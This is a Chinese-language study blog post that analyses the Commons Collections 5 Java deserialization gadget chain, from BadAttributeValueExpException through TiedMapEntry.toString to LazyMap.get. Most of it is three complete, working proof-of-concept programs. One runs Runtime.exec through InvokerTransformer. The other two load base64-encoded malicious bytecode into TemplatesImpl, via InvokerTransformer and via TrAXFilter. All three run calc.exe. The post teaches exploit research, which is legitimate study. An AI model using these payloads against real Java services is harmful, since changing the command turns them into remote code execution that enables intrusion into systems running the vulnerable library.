前言

在前面我们CC6链的学习中,由于jdk 8u71以后的版本修改了AnnotationInvocationHandler类中的readObject方法,我们无法通过CC1链调用LazyMap.get(),所以我们找到了org.apache.commons.collections.keyvalue.TiedMapEntry类,它的getValue方法可以调用map.get方法:

image-20250706174936161

同时在该类中存在hashCode()方法能调用getValue()方法,这让我们自然而然想到HashMap类作为入口

而在CC5中,我们将学习通过TiedMapEntry类的另一个方法toString来调用LazyMap.get()方法。

环境搭建

  • jdk 8u71
  • Commons Collection 3.2.1

CC5分析

配合InvokerTransformer反射

观察ysoserial给的链子:

image-20250706175733577

可以看到这里调用LazyMap.get()是TieMapEntry.toString()方法:

image-20250706175930052

写的有点问题,这里toString()会通过执行getValue方法从而调用LazyMap.get()方法。

接着我们需要找到一个类能调用TiedMapEntry.toString()方法,而在ysoserial中给了我们一个全新的类BadAttributeValueExpException类作为我们的反序列化入口:

image-20250706180514981

但有个问题,就是BadAttributeValueExpException并没有实现Serializable接口,为什么能作为入口呢?

其实是因为他继承自Exception类:

image-20250706180650758

而Exception类又继承自Throwable类:

image-20250706180748952

Throwable类实现了Serializable接口,所以BadAttributeValueExpException类自然就实现了Serializable接口。

接着我们看BadAttributeValueExpException类的readObject方法:

image-20250706180945375

可以看到,当System.getSecurityManager() == null,即系统未启用安全管理器或者val0bj为一下基本类型的包装类时:

1
Long, Integer, Float, Double, Byte, Short, Boolean

就会执行val0bj.toString()方法,但我们需要调用的是TiedMapEntry.toString()方法,即val0bj需要是TiedMapEntry类型,所以只能看能否满足第一个条件:

image-20250706181839294

而恰好是满足的,所以只需要传入val0bj为TiedMapEntry即可

image-20250706182737773

而val0bj是通过获取val的值,所以只需将val赋值为TiedMapEnter即可

image-20250706191356552

BadAttributeValueExpException构造函数会将val.toString()赋值给this.val,如果我直接将TiedMapEntry直接传入的话就会执行TiedMapEntry.toString()了,这就还没到反序列化就将我们的链子走了一遍了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chained = new ChainedTransformer(transformers);

Map map=LazyMap.decorate(new HashMap(),chained);
TiedMapEntry tie=new TiedMapEntry(map, chained);
BadAttributeValueExpException bad=new BadAttributeValueExpException(tie);
}
}

image-20250706214809244

这样肯定是不行的,所以我们先传入null,然后再通过反射来修改val:

1
2
3
Field filed=bad.getClass().getDeclaredField("val");
filed.setAccessible(true);
filed.set(bad,tie);

完整poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chained = new ChainedTransformer(transformers);

Map map=LazyMap.decorate(new HashMap(),chained);
TiedMapEntry tie=new TiedMapEntry(map, chained);
BadAttributeValueExpException bad=new BadAttributeValueExpException(null);

Field filed=bad.getClass().getDeclaredField("val");
filed.setAccessible(true);
filed.set(bad,tie);

serialize(bad);
unserialize();
}
public static void serialize(Object obj) throws Exception{
FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser");
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(obj);
}
public static Object unserialize() throws Exception{
FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
ObjectInputStream ois = new ObjectInputStream(in);
Object obj = ois.readObject();
return obj;
}
}

完整利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream -> readObject()
BadAttributeValueExpException -> readObject()
TiedMapEntry -> toString()
TiedMapEntry -> getValue()
LazyMap -> get()
ChainedTransformer -> transform()
ConstantTransformer -> transform()
InvokerTransformer -> transform()
Class.getMethod()
InvokerTransformer -> transform()
Runtime.getRuntime()
InvokerTransformer -> transform()
Runtime.exec()

配合TemplatesImpl加载字节码

直接用TemplatesImpl.newTransformer()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl = new TemplatesImpl();
setValue(Impl,"_name","b1uel0n3");
setValue(Impl,"_class",null);
setValue(Impl,"_bytecodes",new byte[][]{bytes});
setValue(Impl,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Impl),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chained = new ChainedTransformer(transformers);

Map map=LazyMap.decorate(new HashMap(),chained);
TiedMapEntry tie=new TiedMapEntry(map, chained);
BadAttributeValueExpException bad=new BadAttributeValueExpException(null);

setValue(bad,"val",tie);

serialize(bad);
unserialize();
}
public static void serialize(Object obj) throws Exception{
FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser");
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(obj);
}
public static Object unserialize() throws Exception{
FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
ObjectInputStream ois = new ObjectInputStream(in);
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20250706220634535

利用TrAXFilter构造方法调用TemplatesImpl.newTransformer():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl = new TemplatesImpl();
setValue(Impl,"_name","b1uel0n3");
setValue(Impl,"_class",null);
setValue(Impl,"_bytecodes",new byte[][]{bytes});
setValue(Impl,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Impl}),
};
ChainedTransformer chained = new ChainedTransformer(transformers);

Map map=LazyMap.decorate(new HashMap(),chained);
TiedMapEntry tie=new TiedMapEntry(map, chained);
BadAttributeValueExpException bad=new BadAttributeValueExpException(null);

setValue(bad,"val",tie);

serialize(bad);
unserialize();
}
public static void serialize(Object obj) throws Exception{
FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser");
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(obj);
}
public static Object unserialize() throws Exception{
FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
ObjectInputStream ois = new ObjectInputStream(in);
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20250706221555097

参考

https://nivi4.notion.site/Java-CommonCollections5-f8fd6a9220de46b7954664bb97109d9f

https://nivi4.notion.site/Java-CommonCollections5-f8fd6a9220de46b7954664bb97109d9f

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java